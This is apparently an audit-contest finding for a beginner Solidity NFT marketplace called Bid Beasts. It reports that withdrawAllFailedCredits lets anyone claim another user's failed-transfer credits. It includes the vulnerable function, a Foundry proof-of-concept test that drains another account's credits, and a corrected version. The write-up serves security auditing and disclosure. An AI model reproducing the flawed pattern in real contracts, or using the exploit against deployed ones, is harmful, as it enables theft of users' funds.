Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can withdraw other user's failed credits

Description: In BidBeastNFTMarletPlace:withdrawFailedCredits, there is no access control to restrict who can withdraw failed credits associated with a specific user.
This allows any user to withdraw the failed credits of another user, leading to potential loss of funds for the original owner of the credits.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}(""); // anyone can withdraw other's credits
require(success, "Withdraw failed");
}

Impact: This vulnerability allows malicious actors to drain failed transfer credits from other users,
potentially leading to significant financial losses and undermining user trust in the platform.

Proof of Concept: add the following test to BidBeastMarketPlaceTest.t.sol and run testWithdrawOthersFailedCredits

modifier listSetup() {
_mintNFT();
_listNFT();
_;
}
modifier bidSetup(address bidder) {
uint256 bidAmount = market.getListing(TOKEN_ID).minPrice + 1;
uint256 lastBid = market.getHighestBid(TOKEN_ID).amount;
if (lastBid > 0){
bidAmount = lastBid / 100 * (100 + market.S_MIN_BID_INCREMENT_PERCENTAGE());
}
vm.prank(bidder);
market.placeBid{value: bidAmount}(TOKEN_ID);
_;
}
...
function testWithdrawOthersFailedCredits() public listSetup() bidSetup(address(rejector)) bidSetup(BIDDER_1) {
uint256 rejectorBalanceBefore = address(rejector).balance;
uint256 bidder2BalanceBefore = BIDDER_2.balance;
assertEq(market.failedTransferCredits(address(rejector)), MIN_BID_PRICE);
vm.prank(BIDDER_2);
market.withdrawAllFailedCredits(address(rejector));
uint256 rejectorBalanceAfter = address(rejector).balance;
uint256 bidder2BalanceAfter = BIDDER_2.balance;
assertEq(rejectorBalanceAfter, rejectorBalanceBefore); // rejector get no eth
assertEq(bidder2BalanceAfter, bidder2BalanceBefore + MIN_BID_PRICE); // bidder 2 get the eth from rejector failed credits
}

Recommended Mitigation: rewrite the BidBeastNFTMarletPlace:withdrawFailedCredits function to only allow users to withdraw their own failed credits.

function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.